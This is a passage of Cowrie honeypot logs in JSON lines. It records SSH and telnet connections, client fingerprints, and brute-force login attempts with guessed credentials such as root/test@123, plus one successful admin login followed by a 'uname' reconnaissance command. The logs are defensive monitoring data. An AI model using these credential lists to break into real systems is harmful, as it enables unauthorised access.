{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:54.410233Z","src_ip":"176.65.132.129","session":"16f97f2ea4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfghjc","message":"login attempt [root/dfghjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:54.626263Z","src_ip":"89.108.118.91","session":"9c4337bfcc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:55.773141Z","src_ip":"89.108.118.91","session":"9c4337bfcc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37728,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92ea21d96a0","protocol":"ssh","message":"New connection: 176.65.132.129:37728 (159.203.135.109:22) [session: f92ea21d96a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.182294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.186371Z","src_ip":"176.65.132.129","session":"f92ea21d96a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.268393Z","src_ip":"176.65.132.129","session":"f92ea21d96a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.34130883216858,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.334431Z","src_ip":"152.42.224.71","session":"60b4066462f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.14629912376404,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.344288Z","src_ip":"152.42.224.71","session":"85174f45fda5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.514705Z","src_ip":"176.65.132.129","session":"f92ea21d96a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00211381912231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:56.868677Z","src_ip":"152.42.224.71","session":"d99b263e3d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:57.634647Z","src_ip":"176.65.132.129","session":"f92ea21d96a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":50326,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1c1f6532d86","protocol":"ssh","message":"New connection: 94.159.110.201:50326 (10.17.0.5:22) [session: f1c1f6532d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:57.681636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:57.686341Z","src_ip":"94.159.110.201","session":"f1c1f6532d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:57.811613Z","src_ip":"94.159.110.201","session":"f1c1f6532d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybccfy","message":"login attempt [root/ybccfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:58.554125Z","src_ip":"94.159.110.201","session":"f1c1f6532d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37740,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfbce2bb8b92","protocol":"ssh","message":"New connection: 176.65.132.129:37740 (159.203.135.109:22) [session: dfbce2bb8b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:59.395707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:59.400071Z","src_ip":"176.65.132.129","session":"dfbce2bb8b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:59.481975Z","src_ip":"176.65.132.129","session":"dfbce2bb8b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:59.679556Z","src_ip":"94.159.110.201","session":"f1c1f6532d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:59.730263Z","src_ip":"176.65.132.129","session":"dfbce2bb8b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":44836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6160fb29e95c","protocol":"ssh","message":"New connection: 13.71.92.229:44836 (10.17.0.5:22) [session: 6160fb29e95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:00.399542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:00.406079Z","src_ip":"13.71.92.229","session":"6160fb29e95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:00.639525Z","src_ip":"13.71.92.229","session":"6160fb29e95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:00.814418Z","src_ip":"176.65.132.129","session":"dfbce2bb8b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bear","message":"login attempt [root/bear] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:01.607784Z","src_ip":"13.71.92.229","session":"6160fb29e95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173544883728,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:02.118484Z","src_ip":"152.42.224.71","session":"39bf5cbe3b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37754,"dst_ip":"159.203.135.109","dst_port":22,"session":"20e0c9e80a03","protocol":"ssh","message":"New connection: 176.65.132.129:37754 (159.203.135.109:22) [session: 20e0c9e80a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:02.585836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:02.669668Z","src_ip":"176.65.132.129","session":"20e0c9e80a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:02.765973Z","src_ip":"176.65.132.129","session":"20e0c9e80a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:02.847511Z","src_ip":"13.71.92.229","session":"6160fb29e95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:03.032329Z","src_ip":"176.65.132.129","session":"20e0c9e80a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:04.117806Z","src_ip":"176.65.132.129","session":"20e0c9e80a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.90582633018494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:04.479847Z","src_ip":"152.42.224.71","session":"6b18fa4216fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38142,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd8a00beff0","protocol":"ssh","message":"New connection: 176.65.132.129:38142 (159.203.135.109:22) [session: 7fd8a00beff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:05.954600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:05.959873Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.049819Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":41972,"dst_ip":"10.17.0.5","dst_port":22,"session":"44fa9e23cb52","protocol":"ssh","message":"New connection: 45.162.8.14:41972 (10.17.0.5:22) [session: 44fa9e23cb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.128294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.136661Z","src_ip":"45.162.8.14","session":"44fa9e23cb52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.259159Z","src_ip":"45.162.8.14","session":"44fa9e23cb52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.302864Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.527436Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.532882Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.619573Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.625767Z","src_ip":"176.65.132.129","session":"7fd8a00beff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig~12345","message":"login attempt [root/k0nig~12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:06.769849Z","src_ip":"45.162.8.14","session":"44fa9e23cb52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:07.889605Z","src_ip":"45.162.8.14","session":"44fa9e23cb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38150,"dst_ip":"159.203.135.109","dst_port":22,"session":"137135e7f31b","protocol":"ssh","message":"New connection: 176.65.132.129:38150 (159.203.135.109:22) [session: 137135e7f31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:09.160961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:09.165385Z","src_ip":"176.65.132.129","session":"137135e7f31b","protocol":"ssh"}
